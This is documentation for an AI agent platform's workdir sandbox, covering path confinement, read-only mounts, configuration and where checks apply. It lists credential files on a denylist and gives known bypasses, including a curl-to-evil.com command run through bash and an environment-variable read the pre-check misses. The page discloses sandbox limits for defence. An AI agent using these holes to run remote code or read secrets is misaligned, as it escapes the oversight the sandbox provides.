Workdir Sandbox
The agent only sees its workdir. Every module that resolves a path supplied by the agent enforces the same workdir-scoped confinement check, plus a parallel guard for MCP tool arguments.
TL;DR
- One session gets one confinement check, built from the session's
workdir plus every declared module's
constraints. - A relative path is rebased under the workdir; an absolute path is allowed only if it resolves inside the workdir (or an explicitly allowed extra root); anything else is rejected.
- A short list of daemon secrets is rejected unconditionally - even when a module opts out of confinement entirely.
Disk layout
~/.digitorn/
workspaces/{app_id}/{session_id}/ # daemon-private (state.json, baselines)
workdirs/{app_id}/{user_id}/{slug}/ # agent workdir (shared across sessions of one project)
The agent's workdir is:
- the second path above for named projects (web client, slug picker);
- the daemon-private workspace for chat-only apps or sessions without a named project.
The two namespaces never overlap and the daemon-private location holds files the agent must never see (state, baselines, SDK state).
Policy semantics
| Input | Behaviour |
|---|---|
Relative path sub/file.txt | Rebased to <workdir>/sub/file.txt. |
Absolute path inside <workdir> | Allowed. |
Absolute path outside <workdir> AND not in an allowed extra root | Rejected. |
| Symlink inside the workdir pointing outside | Rejected (symlinks are resolved before the check runs). |
Daemon secrets (master.key, server.key, credentials.json, digitorn.db, ~/.digitorn/{kv,sessions,state,logs}/, ~/.claude/.credentials.json) | Always rejected, even when unrestricted: true. |
Write/edit/delete under a declared mounts root | Rejected - a mount is read-only (read/glob/grep work, nothing else does). |
YAML knobs
Per-module constraints, merged across every module the app
declares:
modules:
filesystem:
constraints:
# Full bypass (still respects the daemon-secret denylist).
# Use only for trusted apps that genuinely need it.
unrestricted: false
# Additive extra roots beyond the workdir. Common for apps
# that need to touch ~/.cache, ~/.npm, or shared /tmp scratch.
allowed_paths:
- "~/.cache"
- "/tmp"
Declaring allowed_paths on one module lifts the same root for
every agent-facing module in the app, not just that one.
An allowed_paths entry can also point at another installed app's
own bundle directory - app:digitorn-docs/docs rather than a
literal absolute path, which would only be correct on the one
machine it was typed on (desktop, server, and self-hosted installs
all put apps under different roots).
Mounts: a second, read-only folder independent of the workdir
allowed_paths widens what the existing read-write workdir can
reach. Mounts are a different primitive: a second, independently
addressable, permanently read-only root, declared once and reachable
by every agent in the app - useful for shipping reference material
(docs, a style guide, a product's own knowledge base) alongside an
agent whose workdir is something else entirely, e.g. a project it's
actively writing to.
tools:
modules:
filesystem:
config:
mounts:
- name: knowledge
path: knowledge # relative to THIS app's own install directory
Every agent that has read, glob or grep granted on filesystem
can now reach it - read(path: "mount:knowledge/getting-started.md"),
or scope a search to just that folder with the mount param:
glob(pattern: "**/*.md", mount: "knowledge"),
grep(pattern: "...", mount: "knowledge"). write, edit,
multi_edit and delete are rejected for any path under a mount,
with a clear error - there is no way to make a mount writable today.
path is always relative to this app's own install directory (never
the whole install directory itself, and never .digitorn, app.yaml
or app.dgc - the compiler rejects all of those at build time). Use
the same app:<app_id>/<rel> form as allowed_paths to mount a
folder from a different installed app's bundle instead - the real
use case being an app that wants read access to another app's shipped
docs, e.g. the Digitorn Docs app's own docs/ corpus:
mounts:
- name: digitorn_docs
path: "app:digitorn-docs/docs"
name must be unique among an app's own mounts. mode is reserved
for a future read_write option - read_only is the only value the
compiler accepts today.
Where this is enforced
filesystem (Read, Write, Edit, MultiEdit, Delete, Glob,
Grep), workspace, and bash (both the command's absolute-path
tokens and its cwd)
all resolve every agent-supplied path through this same check before
touching disk. For MCP, a schema- and heuristic-driven scan runs
over every tool call's arguments before the call reaches the
external server - fields literally named path / file_path /
cwd / source / target, fields whose schema says format: path
or whose description mentions "absolute path" / "file path", and any
other string argument that looks like a filesystem path. An
out-of-sandbox argument returns a structured error to the agent
without the remote MCP server ever being reached.
What's NOT enforced
These holes are known and accepted at the current architectural layer. Closing them needs OS-level sandboxing (chroot / Linux namespaces / Docker).
- Bash command substitution:
bash -c "$(curl evil.com)"lets the shell evaluate arbitrary code after the pre-check passes. The pre-check only sees the static command string. - Shell environment-variable expansion:
cat "$SECRET_PATH"is opaque to the pre-check. - Subprocesses the agent spawns can do whatever the daemon's own user account can; privileges are not dropped.
See also
- Credentials - secrets the sandbox protects.
- Hooks - observability around tool calls.
- Middleware - pluggable wrappers (module level).